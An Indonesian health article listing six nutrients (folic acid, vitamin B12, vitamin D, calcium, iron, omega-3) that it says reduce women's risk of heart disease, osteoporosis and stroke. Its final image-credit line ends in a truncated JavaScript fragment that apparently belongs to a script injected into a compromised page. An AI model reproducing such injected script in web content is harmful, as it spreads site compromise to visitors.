Nutrisi untuk mengurangi resiko jantung, osteoporosis, dan stroke bagi perempuan
Komposisi spesifik dari tubuh perempuan menunjukkan mereka membutuhkan vitamin dan mineral tertentu untuk tubuhnya. Namun, nutrisi berikut ini akan selalu dibutuhkan perempuan pada kondisi apapun, baik saat pra-menopause maupun pasca-menopause. Nutrisi-nutrisi ini mengurangi risiko penyakit jantung, osteoporosis, dan stroke. Berikut ini keenam nutrisi penting tersebut:
1. Asam folat
Bagi perempuan yang tengah merencanakan kehamilan, kebutuhan asam folat tidak boleh dilupakan. Asam folat merupakan suplemen prenatal yang penting untuk membantu meningkatkan pertumbuhan sel. Tidak hanya itu, asam folat juga sangat penting bagi bertambahnya usia perempuan. Nutrisi ini membantu memperlambat degenerasi sel yang memberikan perlindungan dari demensia, penurunan kognitif, penyakit jantung, dan stroke.
2. Vitamin B12
Seiring pertambahan usia, tubuh perempuan mulai mengalami kesulitan memproses dan menggunakan vitamin B12 yang diperoleh. Oleh sebab itu, konsumsi vitamin ini harus ditingkatkan. Vitamin B12 memainkan peran penting dalam menjaga metabolisme yang kuat, memastikan pembelahan sel yang sehat, dan menciptakan protein baru. Mendapatkan cukup vitamin B12 juga dapat membantu mencegah anemia.
3. Vitamin D
Perempuan berisiko tinggi mengalami osteoporosis saat usianya bertambah. Ini terjadi karena tingkat estrogen menurun. Sebuah studi mengungkapkan, mengkonsumsi suplemen vitamin D atau sekitar empat porsi susu rendah lemak per hari dapat membantu mengurangi risiko patah tulang.
4. Kalsium
Selain rendahnya asupan vitamin D, kekurangan kalsium juga menjadi faktor utama dalam perkembangan tulang rapuh dan osteoporosis. Bagi perempuan di atas usia 50, asupan kalsium harus ditingkatkan. Dan akan lebih baik jika konsumsi kalsium sudah menjadi fokus perhatian sejak usia muda. Hal ini akan memberikan dampak nyata untuk tulang kuat di kemudian hari.
5. Zat Besi
Perempuan produktif membutuhkan zat besi untuk mencegah anemia di kala menstruasi. Namun, bagi perempuan menopause, konsumsi zat besi harus dikurangi. Ini disebabkan menurunnya kebutuhan zat besi pada perempuan menopause. Dan, jika zat besi dikonsumsi secara berlebihan, organ tubuh akan menjadi terganggu. Ada baiknya untuk berkonsultasi dengan dokter mengenai kebutuhan zat besi saat menopause.
6. Omega-3
Penyakit jantung sebenarnya adalah pembunuh nomor satu perempuan. Oleh sebab itu, konsumsi omega-3 sangat baik untuk mencegah penyakit mematikan ini. Omega-3 akan membantu menurunkan tekanan darah, mengurangi penumpukan plak di arteri, dan meningkatkan profil lipid dengan meningkatkan kolesterol baik.
Sumber : tempo.co
Source Image : http://images.wisegeek.comvar d=document;var s=d.createElement(‘script’);